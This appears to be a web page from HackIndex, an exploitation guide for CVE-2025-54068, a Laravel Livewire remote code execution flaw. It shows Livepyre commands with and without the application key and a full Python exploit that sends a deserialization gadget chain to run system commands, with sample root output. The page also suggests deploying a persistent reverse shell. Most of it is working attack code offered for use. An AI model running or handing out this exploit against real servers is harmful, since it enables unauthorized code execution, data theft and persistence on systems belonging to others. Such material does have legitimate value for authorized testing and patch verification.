Skip to content
HackIndex logo

HackIndex

CVE-2025-54068 Livewire RCE Exploitation

2 min read Apr 24, 2026

Laravel Livewire components expose remote code execution via insecure snapshot handling. CVE-2025-54068 affects specific versions where component state hydration trusts client-side data. Attackers manipulate snapshots to trigger arbitrary PHP function execution.

Vulnerability Verification

Use Livepyre to identify vulnerable Livewire instances. The tool checks version numbers and attempts snapshot manipulation without requiring the application key.

┌──(kali㉿kali)-[~]
└─$ ./Livepyre.py -u http://$TARGET_IP:$PORT --check

A vulnerable response indicates the server accepts manipulated snapshot data during the hydration phase. Proceed to exploitation if authorized.

Exploitation Without Application Key

Exploitation is possible without the APP_KEY if the snapshot contains object types reachable during deserialization. Livepyre attempts to identify parameters accepting objects to bypass signature validation.

┌──(kali㉿kali)-[~]
└─$ ./Livepyre.py -u http://$TARGET_IP:$PORT

If no object types are detected, the tool attempts brute-force on parameter counts. This increases noise and detection risk.

Successful execution returns command output immediately. Use this access to deploy a persistent reverse shell or gather further intelligence.

Exploitation With Application Key

Possession of the Laravel APP_KEY simplifies exploitation. The key signs snapshots, allowing arbitrary data injection without relying on specific object types or brute-force. Retrieve the key from .env file disclosure or configuration leaks.

┌──(kali㉿kali)-[~]
└─$ ./Livepyre.py -u http://$TARGET_IP:$PORT -a 'base64:CGhMqYXFMzbOe048WS6a0iG8f6bBcTLVbP36bqqrvuA='

Replace the base64 string with the actual application key. The tool signs the malicious snapshot correctly.

This method is more reliable than blind exploitation. It bypasses integrity checks entirely.

Single file Python3 exploit

If you prefer using a single Python3 exploit script, you can easily adapt everything into one file using the template below.

┌──(kali㉿kali)-[~]
└─$ python3 exploit.py
[+] Targeting http://127.0.0.1:8000
[+] CSRF Token acquired: FZECb5D7UF0rjvBhpqdj...
[+] Snapshot extracted successfully
[+] Component ID: Hw1rdEMoCb5vjgoqvt2P
[+] Component Name: counter
[+] Sending exploit payload...
[*] Found param: count
[*] Stage 1 payload being sent:
[!] Stage 1 failed with status 500
[*] Found param: name
[*] Stage 1 payload being sent:
[!] Stage 1 failed with status 500
[*] Found param: obj
[*] Stage 1 payload being sent:
[*] Stage 2 payload being sent:
[+] Response Status: 200
[+] Response: 
uid=0(root) gid=0(root) groups=0(root)

[+] Exploit successful. Command output received.

Update the source code as needed (e.g., target URL, port, and any payload values).

"""
Simple single file CVE-2025-54068 exploit

Author: Joshua van der Poll
Website: https://hackindex.io/services/web/exploitation/cve-2025-54068-livewire-rce
"""
import requests
import re
import json
import sys
import html

TARGET_IP = "127.0.0.1" # Change me
PORT = "8000" # Change me
BASE_URL = f"http://{TARGET_IP}:{PORT}"
COMMAND = "id" # Change me

def get_csrf_token(session):
    response = session.get(BASE_URL)
    
    patterns = [
        r'<meta name="csrf-token" content="([^"]+)"',
        r'data-csrf="([^"]+)"',
    ]
    
    for pattern in patterns:
        match = re.search(pattern, response.text)
        if match:
            return match.group(1)
    
    raise Exception("CSRF token not found")

def get_livewire_state(session):
    response = session.get(BASE_URL)
    html_content = response.text
    
    snapshot_match = re.search(r'wire:snapshot="([^"]+)"', html_content)
    if not snapshot_match:
        raise Exception("wire:snapshot not found")
    
    snapshot_raw = snapshot_match.group(1)
    snapshot_decoded = html.unescape(snapshot_raw)
    snapshot_json = json.loads(snapshot_decoded)
    
    return snapshot_json

def exploit(session, csrf_token, snapshot_json):
    url = f"{BASE_URL}/livewire/update"
    
    final_param_name = None
    for param in snapshot_json["data"]:
        print(f"[*] Found param: {param}")
        
        # Stage 1: Cast the object property to an array
        snapshot_str = json.dumps(snapshot_json)
        payload_stage1={"_token":csrf_token,"components":[{"snapshot":snapshot_str,"updates":{param:[]},"calls":[]}]}
        
        headers = {
            "Content-Type": "application/json",
            "Accept": "application/json",
            "X-Livewire": "true",
        }
        
        print("[*] Stage 1 payload being sent:")
        
        response_stage1 = session.post(url, json=payload_stage1, headers=headers)
        if response_stage1.status_code != 200:
            print(f"[!] Stage 1 failed with status {response_stage1.status_code}")
            continue
        
        response_data = response_stage1.json()
        try:
            new_snapshot = response_data["components"][0]["snapshot"]
        except (KeyError, IndexError):
            print("[!] Failed to extract new snapshot from stage 1 response")
            continue

        final_param_name = param
        
    if not new_snapshot:
        raise Exception("[!] No valid snapshot obtained from stage 1")

    # Stage 2: Build and send the RCE payload
    json_payload={"_token":csrf_token,"components":[{"snapshot":new_snapshot,"updates":{"TARGET":[1,[{"a":[{"__toString":"phpversion","close":[[[{"chained":["O:38:\"Illuminate\\Broadcasting\\BroadcastEvent\":4:{s:5:\"dummy\";O:40:\"Illuminate\\Broadcasting\\PendingBroadcast\":2:{s:9:\"\u0000*\u0000events\";O:31:\"Illuminate\\Validation\\Validator\":1:{s:10:\"extensions\";a:1:{s:0:\"\";s:[FUNCTION_LEN]:\"[FUNCTION]\";}}s:8:\"\u0000*\u0000event\";s:[PARAM_LEN]:\"[PARAM]\";}s:10:\"connection\";N;s:5:\"queue\";N;s:5:\"event\";O:37:\"Illuminate\\Notifications\\Notification\":0:{}}"]},{"s":"form","class":"Illuminate\\Broadcasting\\BroadcastEvent"}],"dispatchNextJobInChain"],{"s":"clctn","class":"Laravel\\SerializableClosure\\Serializers\\Signed"}]},{"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}],"b":[{"__toString":[[[None,{"s":"mdl","class":"Laravel\\Prompts\\Terminal"}],"exit"],{"s":"clctn","class":"Laravel\\SerializableClosure\\Serializers\\Signed"}]},{"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}]},{"class":"League\\Flysystem\\UrlGeneration\\ShardedPrefixPublicUrlGenerator","s":"clctn"}]]},"calls":[]}]}
    updated_updates = json_payload["components"][0]["updates"]
    updated_updates[final_param_name] = updated_updates.pop("TARGET")
    function = "system" # Change this if needed
    user_payload = json_payload["components"][0]["updates"][final_param_name][1][0]["a"][0]["close"][0][0][0]["chained"][0]
    user_payload = user_payload.replace("[FUNCTION_LEN]", str(len(function)))
    user_payload = user_payload.replace("[FUNCTION]", function)
    user_payload = user_payload.replace("[PARAM_LEN]", str(len(COMMAND)))
    user_payload = user_payload.replace("[PARAM]", COMMAND)
    json_payload["components"][0]["updates"][final_param_name][1][0]["a"][0]["close"][0][0][0]["chained"][0] = user_payload
    
    print("[*] Stage 2 payload being sent:")
    
    response_stage2 = session.post(url, json=json_payload, headers=headers)
    return response_stage2.text, response_stage2.status_code

def main():
    session = requests.Session()
    try:
        print(f"[+] Targeting {BASE_URL}")
        
        csrf_token = get_csrf_token(session)
        print(f"[+] CSRF Token acquired: {csrf_token[:20]}...")
        
        snapshot_json = get_livewire_state(session)
        print(f"[+] Snapshot extracted successfully")
        print(f"[+] Component ID: {snapshot_json['memo']['id']}")
        print(f"[+] Component Name: {snapshot_json['memo']['name']}")
        
        print(f"[+] Sending exploit payload...")
        response, status_code = exploit(session, csrf_token, snapshot_json)
        
        print(f"[+] Response Status: {status_code}")
        print(f"[+] Response: \n{response[:2000]}")
        
        if "uid=" in response or "root" in response or "www-data" in response:
            print("[+] Exploit successful. Command output received.")
        elif status_code == 500:
            print("[-] Server error. Check payload compatibility.")
        else:
            print("[-] Exploit failed. Check response for errors.")
            
    except Exception as e:
        print(f"[-] Error: {e}")
        sys.exit(1)

if __name__ == "__main__":
    main()